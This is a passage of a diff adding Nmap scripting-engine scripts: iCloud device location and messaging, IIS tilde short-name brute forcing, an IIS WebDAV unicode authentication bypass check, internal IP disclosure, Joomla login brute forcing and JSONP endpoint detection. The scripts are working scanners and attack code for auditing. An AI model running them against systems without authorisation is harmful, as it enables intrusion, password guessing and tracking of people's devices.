+-- | Patrik Karlsson's iPhone 40.690,-74.045 65 04/10/12 16:56:37 Wifi
+-- |_ Mac mini 40.690,-74.045 65 04/10/12 16:56:36 Wifi
+--
+-- @args http-icloud-findmyiphone.username the Apple Id username
+-- @args http-icloud-findmyiphone.password the Apple Id password
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "external"}
+
+
+local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
+
+prerule = function() return true end
+
+-- decode basic UTF8 encoded strings
+-- iOS devices are commonly named after the user eg:
+-- * Patrik Karlsson's Macbook Air
+-- * Patrik Karlsson's iPhone
+--
+-- This function decodes the single quote as a start and should really
+-- be replaced with a proper UTF-8 decoder in the future
+local function decodeString(str)
+ return str:gsub("\226\128\153", "'")
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function()
+
+ if ( not(arg_username) or not(arg_password) ) then
+ return fail("No username or password was supplied")
+ end
+
+ local mobileme = mobileme.Helper:new(arg_username, arg_password)
+ local status, response = mobileme:getLocation()
+
+ if ( not(status) ) then
+ stdnse.debug2("%s", response)
+ return fail("Failed to retrieve location information")
+ end
+
+ local output = tab.new(4)
+ tab.addrow(output, "name", "location", "accuracy", "date", "type")
+ for name, info in pairs(response) do
+ local loc
+ if ( info.latitude and info.longitude ) then
+ loc = ("%.3f,%.3f"):format(
+ tonumber(info.latitude) or "-",
+ tonumber(info.longitude) or "-")
+ else
+ loc = "-,-"
+ end
+ local ts
+ if ( info.timestamp and 1000 < info.timestamp ) then
+ ts = datetime.format_timestamp(info.timestamp//1000)
+ else
+ ts = "-"
+ end
+ tab.addrow(output, decodeString(name), loc, info.accuracy or "-", ts, info.postype or "-")
+ end
+
+ if ( 1 < #output ) then
+ return stdnse.format_output(true, tab.dump(output))
+ end
+end
diff --git a/scripts/http-icloud-sendmsg.nse b/scripts/http-icloud-sendmsg.nse
new file mode 100644
index 0000000..2db5cc6
--- /dev/null
+++ b/scripts/http-icloud-sendmsg.nse
@@ -0,0 +1,113 @@
+local mobileme = require "mobileme"
+local stdnse = require "stdnse"
+local tab = require "tab"
+
+description = [[
+Sends a message to a iOS device through the Apple MobileMe web service. The
+device has to be registered with an Apple ID using the Find My Iphone
+application.
+]]
+
+---
+-- @usage
+-- nmap -sn -Pn --script http-icloud-sendmsg --script-args="username=<user>,password=<pass>,http-icloud-sendmsg.listdevices"
+-- nmap -sn -Pn --script http-icloud-sendmsg --script-args="username=<user>,password=<pass>,deviceindex=1,subject='subject',message='hello world.',sound=false"
+--
+-- @output
+-- Pre-scan script results:
+-- | http-icloud-sendmsg:
+-- |_ Message was successfully sent to "Patrik Karlsson's iPhone"
+--
+-- @args http-icloud-sendmsg.username the Apple ID username
+-- @args http-icloud-sendmsg.password the Apple ID password
+-- @args http-icloud-sendmsg.listdevices list the devices managed by the
+-- specified Apple ID.
+-- @args http-icloud-sendmsg.deviceindex the device index to which the message
+-- should be sent (@see http-icloud-sendmsg.listdevices)
+-- @args http-icloud-sendmsg.subject the subject of the message to send to the
+-- device.
+-- @args http-icloud-sendmsg.message the body of the message to send to the
+-- device.
+-- @args http-icloud-sendmsg.sound boolean specifying if a loud sound should be
+-- played while displaying the message. (default: true)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "external"}
+
+
+local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
+local arg_listdevices = stdnse.get_script_args(SCRIPT_NAME .. ".listdevices")
+local arg_deviceindex = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".deviceindex"))
+local arg_subject = stdnse.get_script_args(SCRIPT_NAME .. ".subject")
+local arg_message = stdnse.get_script_args(SCRIPT_NAME .. ".message")
+local arg_sound = stdnse.get_script_args(SCRIPT_NAME .. ".sound") or true
+
+
+prerule = function() return true end
+
+-- decode basic UTF8 encoded strings
+-- iOS devices are commonly named after the user eg:
+-- * Patrik Karlsson's Macbook Air
+-- * Patrik Karlsson's iPhone
+--
+-- This function decodes the single quote as a start and should really
+-- be replaced with a proper UTF-8 decoder in the future
+local function decodeString(str)
+ return str:gsub("\226\128\153", "'")
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function listDevices(mm)
+ local status, devices = mm:getDevices()
+ if ( not(status) ) then
+ return fail("Failed to get devices")
+ end
+
+ local output = tab.new(2)
+ tab.addrow(output, "id", "name")
+ for i=1, #devices do
+ local name = decodeString(devices[i].name or "")
+ tab.addrow(output, i, name)
+ end
+
+ if ( 1 < #output ) then
+ return stdnse.format_output(true, tab.dump(output))
+ end
+end
+
+
+action = function()
+ if ( not(arg_username) or not(arg_password) ) then
+ return fail("No username or password was supplied")
+ end
+
+ if ( not(arg_deviceindex) and not(arg_listdevices) ) then
+ return fail("No device ID was specified")
+ end
+
+ if ( 1 == tonumber(arg_listdevices) or "true" == arg_listdevices ) then
+ local mm = mobileme.Helper:new(arg_username, arg_password)
+ return listDevices(mm)
+ elseif ( not(arg_subject) or not(arg_message) ) then
+ return fail("Missing subject or message")
+ else
+ local mm = mobileme.Helper:new(arg_username, arg_password)
+ local status, devices = mm:getDevices()
+
+ if ( not(status) ) then
+ return fail("Failed to get devices")
+ end
+
+ if ( status and arg_deviceindex <= #devices ) then
+ local status = mm:sendMessage( devices[arg_deviceindex].id, arg_subject, arg_message, arg_sound)
+ if ( status ) then
+ return ("\n Message was successfully sent to \"%s\""):format(decodeString(devices[arg_deviceindex].name or ""))
+ else
+ return "\n Failed to send message"
+ end
+ end
+ end
+end
diff --git a/scripts/http-iis-short-name-brute.nse b/scripts/http-iis-short-name-brute.nse
new file mode 100644
index 0000000..bc4762f
--- /dev/null
+++ b/scripts/http-iis-short-name-brute.nse
@@ -0,0 +1,181 @@
+description = [[
+Attempts to brute force the 8.3 filenames (commonly known as short names) of files and directories in the root folder
+of vulnerable IIS servers. This script is an implementation of the PoC "iis shortname scanner".
+
+The script uses ~,? and * to bruteforce the short name of files present in the IIS document root.
+Short names have a restriction of 6 character file name followed by a three character extension.
+
+Notes:
+* The script might have to be run twice (according to the original author).
+* Tested against IIS 6.0 and 5.1.
+
+References:
+* Research paper: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
+* IIS Shortname Scanner PoC: https://github.com/irsdl/IIS-ShortName-Scanner
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-iis-short-name-brute <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-iis-short-name-brute:
+-- | VULNERABLE:
+-- | Microsoft IIS tilde character "~" short name disclosure and denial of service
+-- | State: VULNERABLE (Exploitable)
+-- | Description:
+-- | Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the webroot folder.
+-- | Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
+-- | cause a denial of service condition.
+-- |
+-- | Extra information:
+-- |
+-- | 8.3 filenames found:
+-- | Folders
+-- | admini~1
+-- | Files
+-- | backup~1.zip
+-- | certsb~2.zip
+-- | siteba~1.zip
+-- |
+-- | References:
+-- | http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
+-- |_ https://github.com/irsdl/IIS-ShortName-Scanner
+---
+
+author = {"Jesper Kueckelhahn", "Paulino Calderon"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local table = require "table"
+local http = require "http"
+local vulns = require "vulns"
+
+portrule = shortport.http
+
+local chars = "abcdefghijklmnopqrstuvwxyz0123456789"
+local magic = "/*.aspx?aspxerrorpath=/"
+
+local folders = {}
+folders["name"] = "Folders"
+local files = {}
+files["name"] = "Files"
+local last_number = 0
+local errors_max = false
+local errors = 0
+
+local function isFolder(host, port, path, number)
+ local data = http.get(host, port, "/" .. path .. "~" .. number .. magic)
+ return data.status == 404
+end
+
+
+local function isLonger(host, port, path, number)
+ local data = http.get(host, port, "/" .. path .. "%3f*~" .. number .. "*" .. magic)
+ return data.status == 404
+end
+
+
+local function foundName(host, port, path, number)
+ local data = http.get(host, port, "/" .. path .. "~" .. number .. "*" .. magic)
+ return data.status == 404
+end
+
+
+local function charInExtension(host, port, path, ext)
+ local data = http.get(host, port, "/" .. path .. ext .. "*" .. magic )
+ return data.status == 404
+end
+
+local function findExtension(host, port, path, ext)
+ if charInExtension(host, port, path, ext) then
+ -- currently only support for ext of length 3
+ if ext:len() == 3 then
+ stdnse.debug1("Added file: %s", path .. ext)
+ table.insert(files, path .. ext)
+ else
+ for c in chars:gmatch(".") do
+ findExtension(host, port, path, ext .. c)
+ end
+ end
+ end
+end
+
+local function findName(host, port, path, number)
+ -- check if the name is valid
+ if foundName(host, port, path, number) then
+ if isFolder(host, port, path, number) then
+ --If the last 10 pages return 404, exit to deal to false positive case.
+ if tonumber(number) == (last_number + 1) then
+ errors = errors+1
+ end
+ if errors>10 then
+ stdnse.debug1("False positive detected. Exiting.")
+ errors_max=true
+ else
+ stdnse.debug1("Added folder: %s", path .. "~" .. number)
+ table.insert(folders, path .. "~" .. number)
+
+ -- increase the number ('~1' to '~2')
+ last_number = number
+ local nextNumber = tostring(tonumber(number) + 1)
+ findName(host, port, path, nextNumber)
+ end
+ -- if the name is valid, and it's not a folder, it must be a file
+ else
+ findExtension(host, port, path .. "~" .. number .. ".", "")
+ -- increase the number ('~1' to '~2')
+ local nextNumber = tostring(tonumber(number) + 1)
+ findName(host, port, path, nextNumber)
+ end
+ end
+
+ -- is the path valid (i.e. 404)
+ local cont = isLonger(host, port, path, number)
+
+ -- recurse if the path is valid and the length of path is not 6
+ if not (path:len() == 6) and cont and not(errors_max) then
+ stdnse.debug1("Testing: %s", path .. "~" .. number)
+ for c in chars:gmatch(".") do findName(host, port, path .. c, number) end
+ end
+end
+
+
+action = function(host, port)
+ local vuln = {
+ title = 'Microsoft IIS tilde character "~" short name disclosure and denial of service',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the root folder.
+Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
+cause a denial of service condition.
+ ]],
+ references = {
+ 'http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf',
+ 'https://github.com/irsdl/IIS-ShortName-Scanner',
+ 'https://www.securityfocus.com/archive/1/523424'
+ }
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ findName(host, port, "", "1")
+ --Cleans the false positive results.
+ if errors_max then
+ files = {}
+ folders = {}
+ end
+ --Vulnerable!
+ if #files>0 or #folders>0 then
+ local results = {}
+ table.insert(results, folders)
+ table.insert(results, files)
+ vuln.state = vulns.STATE.EXPLOIT
+ results.name = "8.3 filenames found:"
+ vuln.extra_info = stdnse.format_output(true, results)
+ end
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-iis-webdav-vuln.nse b/scripts/http-iis-webdav-vuln.nse
new file mode 100644
index 0000000..7b85119
--- /dev/null
+++ b/scripts/http-iis-webdav-vuln.nse
@@ -0,0 +1,220 @@
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks for a vulnerability in IIS 5.1/6.0 that allows arbitrary users to access
+secured WebDAV folders by searching for a password-protected folder and
+attempting to access it. This vulnerability was patched in Microsoft Security
+Bulletin MS09-020, https://nmap.org/r/ms09-020.
+
+A list of well known folders (almost 900) is used by default. Each one is
+checked, and if returns an authentication request (401), another attempt is
+tried with the malicious encoding. If that attempt returns a successful result
+(207), then the folder is marked as vulnerable.
+
+This script is based on the Metasploit auxiliary module
+auxiliary/scanner/http/wmap_dir_webdav_unicode_bypass
+
+For more information on this vulnerability and script, see:
+* http://blog.zoller.lu/2009/05/iis-6-webdac-auth-bypass-and-data.html
+* http://seclists.org/fulldisclosure/2009/May/att-134/IIS_Advisory_pdf.bin
+* http://www.skullsecurity.org/blog/?p=271
+* http://www.kb.cert.org/vuls/id/787932
+* http://www.microsoft.com/technet/security/advisory/971492.mspx
+]]
+
+---
+-- @usage
+-- nmap --script http-iis-webdav-vuln -p80,8080 <host>
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- |_ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /secret, /webdav
+--
+-- @args webdavfolder Selects a single folder to use, instead of using a built-in list.
+-- @args folderdb The filename of an alternate list of folders.
+-- @args basefolder The folder to start in; eg, <code>"/web"</code> will try <code>"/web/xxx"</code>.
+-----------------------------------------------------------------------
+
+author = {"Ron Bowes", "Andrew Orr"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive"}
+
+
+portrule = shortport.http
+
+---Enumeration for results
+local enum_results =
+{
+ VULNERABLE = 1,
+ NOT_VULNERABLE = 2,
+ UNKNOWN = 3
+}
+
+---Sends a PROPFIND request to the given host, and for the given folder. Returns a table representing a response.
+local function get_response(host, port, folder)
+ local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
+
+ local options = {
+ header = {
+ Connection = "close",
+ ["Content-Type"] = "application/xml",
+ },
+ content = webdav_req
+ }
+
+ return http.generic_request(host, port, "PROPFIND", folder, options)
+end
+
+---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes.
+local function go_single(host, port, folder)
+ local response
+
+ response = get_response(host, port, folder)
+ if(response.status == 401) then
+ local vuln_response
+ local check_folder
+
+ stdnse.debug1("Found protected folder (401): %s", folder)
+
+ -- check for IIS 6.0 and 5.1
+ -- doesn't appear to work on 5.0
+ -- /secret/ becomes /s%c0%afecret/
+ check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
+ vuln_response = get_response(host, port, check_folder)
+ if(vuln_response.status == 207) then
+ stdnse.debug1("Folder seems vulnerable: %s", folder)
+ return enum_results.VULNERABLE
+ else
+ stdnse.debug1("Folder does not seem vulnerable: %s", folder)
+ return enum_results.NOT_VULNERABLE
+ end
+ else
+ if(response['status-line'] ~= nil) then
+ stdnse.debug3("Not a protected folder (%s): %s", response['status-line'], folder)
+ elseif(response['status'] ~= nil) then
+ stdnse.debug3("Not a protected folder (%s): %s", response['status'], folder)
+ else
+ stdnse.debug3("Not a protected folder: %s",folder)
+ end
+ return enum_results.UNKNOWN
+ end
+end
+
+---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders.
+local function go(host, port)
+ local status, folder
+ local results = {}
+ local is_vulnerable = true
+
+ local folder_file
+ local farg = nmap.registry.args.folderdb
+ folder_file = farg and (nmap.fetchfile(farg) or farg) or nmap.fetchfile('nselib/data/http-folders.txt')
+
+ if(folder_file == nil) then
+ return false, "Couldn't find http-folders.txt (should be in nselib/data)"
+ end
+
+ local file = io.open(folder_file, "r")
+ if not file then
+ return false, ("Couldn't find or open %s"):format(folder_file)
+ end
+
+ while true do
+ local result
+ local line = file:read()
+ if not line then
+ break
+ end
+
+ if(nmap.registry.args.basefolder ~= nil) then
+ line = "/" .. nmap.registry.args.basefolder .. "/" .. line
+ else
+ line = "/" .. line
+ end
+
+ result = go_single(host, port, line)
+ if(result == enum_results.VULNERABLE) then
+ results[#results + 1] = line
+ elseif(result == enum_results.NOT_VULNERABLE) then
+ is_vulnerable = false
+ else
+ end
+ end
+
+ file:close()
+
+ return true, results, is_vulnerable
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ -- Start by checking if '/' is protected -- if it is, we can't do the tests
+ local result = go_single(host, port, "/")
+ if(result == enum_results.NOT_VULNERABLE) then
+ stdnse.debug1("Root folder is password protected, aborting.")
+ return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
+ end
+
+ stdnse.debug1("Root folder is not password protected, continuing...")
+
+ local response = get_response(host, port, "/")
+ if(response.status == 501) then
+ -- WebDAV is disabled
+ stdnse.debug1("WebDAV is DISABLED (PROPFIND failed).")
+ return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
+ else
+ if(response.status == 207) then
+ -- PROPFIND works, WebDAV is enabled
+ stdnse.debug1("WebDAV is ENABLED (PROPFIND was successful).")
+ else
+ -- probably not running IIS 5.0/5.1/6.0
+ if(response['status-line'] ~= nil) then
+ stdnse.debug1("PROPFIND request failed with \"%s\".", response['status-line'])
+ elseif(response['status'] ~= nil) then
+ stdnse.debug1("PROPFIND request failed with \"%s\".", response['status'])
+ else
+ stdnse.debug1("PROPFIND request failed.")
+ end
+ return fail("This web server is not supported.")
+ end
+ end
+
+
+ if(nmap.registry.args.webdavfolder ~= nil) then
+ local folder = nmap.registry.args.webdavfolder
+ local result = go_single(host, port, "/" .. folder)
+
+ if(result == enum_results.VULNERABLE) then
+ return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
+ elseif(result == enum_results.NOT_VULNERABLE) then
+ return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
+ else
+ return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
+ end
+
+ else
+ local status, results, is_vulnerable = go(host, port)
+
+ if(status == false) then
+ return fail(results)
+ else
+ if(#results == 0) then
+ if(is_vulnerable == false) then
+ return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
+ else
+ return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
+ end
+ else
+ return "WebDAV is ENABLED. Vulnerable folders discovered: " .. table.concat(results, ", ")
+ end
+ end
+ end
+end
+
diff --git a/scripts/http-internal-ip-disclosure.nse b/scripts/http-internal-ip-disclosure.nse
new file mode 100644
index 0000000..aeb04b9
--- /dev/null
+++ b/scripts/http-internal-ip-disclosure.nse
@@ -0,0 +1,87 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local ipOps = require "ipOps"
+
+description = [[
+Determines if the web server leaks its internal IP address when sending an HTTP/1.0 request without a Host header.
+
+Some misconfigured web servers leak their internal IP address in the response
+headers when returning a redirect response. This is a known issue for some
+versions of Microsoft IIS, but affects other web servers as well.
+]]
+
+---
+-- @usage nmap --script http-internal-ip-disclosure <target>
+-- @usage nmap --script http-internal-ip-disclosure --script-args http-internal-ip-disclosure.path=/path <target>
+--
+-- @args http-internal-ip-disclosure.path Path to URI. Default: /
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- | http-internal-ip-disclosure:
+-- |_ Internal IP Leaked: 10.0.0.2
+--
+-- @xmloutput
+-- <elem key="Internal IP Leaked">10.0.0.2</elem>
+--
+-- @see ssl-cert-intaddr.nse
+
+author = "Josh Amishav-Zlatin"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "vuln", "discovery", "safe" }
+
+portrule = shortport.http
+
+local function generateHttpV1_0Req(host, port, path)
+ local redirectIP, privateIP
+ local socket = nmap.new_socket()
+ socket:connect(host, port)
+
+ local cmd = "GET " .. path .. " HTTP/1.0\r\n\r\n"
+ socket:send(cmd)
+
+ while true do
+ local status, lines = socket:receive_lines(1)
+ if not status then
+ break
+ end
+
+ -- Check if the response contains a location header
+ if lines:match("Location") then
+ local locTarget = lines:match("Location: [%a%p%d]+")
+ -- Check if the redirect location contains an IP address
+ redirectIP = locTarget:match("[%d%.]+")
+ if redirectIP then
+ privateIP = ipOps.isPrivate(redirectIP)
+ end
+
+ stdnse.debug1("Location: %s", locTarget )
+ stdnse.debug1("Internal IP: %s", redirectIP )
+ end
+ end
+
+ socket:close()
+
+ -- Only report if the internal IP leaked is different then the target IP
+ if privateIP and redirectIP ~= host.ip then
+ return redirectIP
+ end
+end
+
+action = function(host, port)
+ local output = stdnse.output_table()
+ local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
+ local IP = generateHttpV1_0Req(host, port, path)
+
+ -- Check /images which is often vulnerable on some unpatched IIS servers
+ if not IP and path ~= "/images" then
+ path = "/images"
+ IP = generateHttpV1_0Req(host, port, path)
+ end
+
+ if IP then
+ output["Internal IP Leaked"] = IP
+ return output
+ end
+end
diff --git a/scripts/http-joomla-brute.nse b/scripts/http-joomla-brute.nse
new file mode 100644
index 0000000..2935110
--- /dev/null
+++ b/scripts/http-joomla-brute.nse
@@ -0,0 +1,147 @@
+local brute = require "brute"
+local creds = require "creds"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Performs brute force password auditing against Joomla web CMS installations.
+
+This script initially reads the session cookie and parses the security token to perfom the brute force password auditing.
+It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the
+credentials library.
+
+Joomla's default uri and form names:
+* Default uri:<code>/administrator/index.php</code>
+* Default uservar: <code>username</code>
+* Default passvar: <code>passwd</code>
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-joomla-brute
+-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com,
+-- http-joomla-brute.threads=3,brute.firstonly=true' <target>
+-- nmap -sV --script http-joomla-brute <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-joomla-brute:
+-- | Accounts
+-- | xdeadbee:i79eWBj07g => Login correct
+-- | Statistics
+-- |_ Perfomed 499 guesses in 301 seconds, average tps: 0
+--
+-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
+-- @args http-joomla-brute.hostname Virtual Hostname Header
+-- @args http-joomla-brute.uservar sets the http-variable name that holds the
+-- username used to authenticate. Default: username
+-- @args http-joomla-brute.passvar sets the http-variable name that holds the
+-- password used to authenticate. Default: passwd
+-- @args http-joomla-brute.threads sets the number of threads. Default: 3
+--
+-- Other useful arguments when using this script are:
+-- * http.useragent = String - User Agent used in HTTP requests
+-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
+-- * brute.mode = user/creds/pass - Username password iterator
+-- * passdb = String - Path to password list
+-- * userdb = String - Path to user list
+--
+--
+-- @see http-form-brute.nse
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.http
+
+local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php"
+local DEFAULT_JOOMLA_USERVAR = "username"
+local DEFAULT_JOOMLA_PASSVAR = "passwd"
+local DEFAULT_THREAD_NUM = 3
+
+local security_token
+local session_cookie_str
+
+---
+--This class implements the Brute library (https://nmap.org/nsedoc/lib/brute.html)
+---
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
+ o.port = port
+ o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
+ o.options = options
+ return o
+ end,
+
+ connect = function( self )
+ return true
+ end,
+
+ login = function( self, username, password )
+ stdnse.debug2("HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
+ local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
+ { [self.options.uservar] = username, [self.options.passvar] = password,
+ [security_token] = 1, lang = "", option = "com_login", task = "login" } )
+
+ if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
+ stdnse.debug2("Response:\n%s", response.body)
+ return true, creds.Account:new( username, password, creds.State.VALID)
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ return true
+ end,
+
+ check = function( self )
+ local response = http.get( self.host, self.port, self.uri )
+ stdnse.debug1("HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
+ -- Check if password field is there
+ if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
+ stdnse.debug1("Initial check passed. Launching brute force attack")
+ session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
+ if response.body then
+ local _
+ _, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
+ end
+ if security_token then
+ stdnse.debug2("Security Token found:%s", security_token)
+ else
+ stdnse.debug2("The security token was not found.")
+ return false
+ end
+
+ return true
+ else
+ stdnse.debug1("Initial check failed. Password field wasn't found")
+ end
+ return false
+ end
+
+}
+---
+--MAIN
+---
+action = function( host, port )
+ local status, result, engine
+ local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR
+ local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR
+ local thread_num = tonumber(stdnse.get_script_args("http-joomla-brute.threads")) or DEFAULT_THREAD_NUM
+
+ engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
+ engine:setMaxThreads(thread_num)
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/http-jsonp-detection.nse b/scripts/http-jsonp-detection.nse
new file mode 100644
index 0000000..5acc12d
--- /dev/null
+++ b/scripts/http-jsonp-detection.nse
@@ -0,0 +1,190 @@
+local nmap = require "nmap"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local json = require "json"
+local url = require "url"
+local httpspider = require "httpspider"
+local table = require "table"
+local rand = require "rand"
+
+description = [[
+Attempts to discover JSONP endpoints in web servers. JSONP endpoints can be
+used to bypass Same-origin Policy restrictions in web browsers.
+
+The script searches for callback functions in the response to detect JSONP
+endpoints. It also tries to determine callback function through URL(callback
+function may be fully or partially controllable from URL) and also tries to
+bruteforce the most common callback variables through the URL.
+
+References : https://securitycafe.ro/2017/01/18/practical-jsonp-injection/
+
+]]
+
+---
+-- @usage
+-- nmap -p 80 --script http-jsonp-detection <target>
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- | http-jsonp-detection:
+-- | The following JSONP endpoints were detected:
+-- |_/rest/contactsjp.php Completely controllable from URL
+--
+--
+-- @xmloutput
+-- <table key='jsonp_endpoints'>
+-- <elem>/rest/contactsjp.php</elem>
+-- </table>
+--
+-- @args http-jsonp-detection.path The URL path to request. The default path is "/".
+---
+
+author = {"Vinamra Bhatia"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "vuln", "discovery"}
+
+portrule = shortport.http
+
+local callbacks = {"callback", "cb", "jsonp", "jsonpcallback", "jcb", "call"}
+
+--Checks the body and returns if valid json data is present in callback function
+local checkjson = function(body)
+
+ local _, _, _, func, json_data = string.find(body, "^(%S-)([%w_]+)%((.*)%);?$")
+
+ --Check if the json_data is valid
+ --If valid, we have a JSONP endpoint with func as the function name
+
+ local status, json = json.parse(json_data)
+ return status, func
+
+end
+
+--Checks if the callback function is controllable from URL
+local callback_url = function(host, port, target, callback_variable)
+ local path, response, report
+ local value = rand.random_alpha(8)
+ if callback_variable == nil then
+ callback_variable = "callback"
+ end
+ path = target .. "?" .. callback_variable .. "=" .. value
+ response = http.get(host, port, path)
+ if response and response.body and response.status and response.status==200 then
+
+ local status, func
+ status, func = checkjson(response.body)
+
+ if status == true then
+ if func == value then
+ report = "Completely controllable from URL"
+ else
+ local p = string.find(func, value)
+ if p then
+ report = "Partially controllable from URL"
+ end
+ end
+ end
+ end
+ return report
+end
+
+--The function tries to bruteforce through the most common callback variable
+local callback_bruteforce = function(host, port, target)
+ local response, path, report
+ for _,p in ipairs(callbacks) do
+ path = target
+ path = path .. "?" .. p .. "=test"
+ response = http.get(host, port, path)
+ if response and response.body and response.status and response.status==200 then
+
+ local status, func
+ status, func = checkjson(response.body)
+
+ if status == true then
+ report = callback_url(host, port, target, p)
+ if report ~= nil then
+ report = string.format("%s\t%s", target, report)
+ else
+ report = target
+ end
+ break
+ end
+ end
+ end
+ return report
+end
+
+action = function(host, port)
+ local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
+ local output_xml = stdnse.output_table()
+ output_xml = {}
+ output_xml['jsonp-endpoints'] = {}
+ local output_str = "\nThe following JSONP endpoints were detected: "
+
+ -- crawl to find jsonp endpoints urls
+ local crawler = httpspider.Crawler:new(host, port, path, {scriptname = SCRIPT_NAME})
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ while(true) do
+ local status, r = crawler:crawl()
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ local target = tostring(r.url)
+ target = url.parse(target)
+ target = target.path
+
+ -- First we try to get the response and look for jsonp endpoint there
+ if r.response and r.response.body and r.response.status and r.response.status==200 then
+
+ local status, func, report
+ status, func = checkjson(r.response.body)
+
+ if status == true then
+ --We have found JSONP endpoint
+ --Put it inside a returnable table.
+ output_str = string.format("%s\n%s", output_str, target)
+ table.insert(output_xml['jsonp-endpoints'], target)
+
+ --Try if the callback function is controllable from URL.
+ report = callback_url(host, port, target)
+ if report ~= nil then
+ output_str = string.format("%s\t%s", output_str, report)
+ end
+
+ else
+
+ --Try to bruteforce through most comman callback URLs
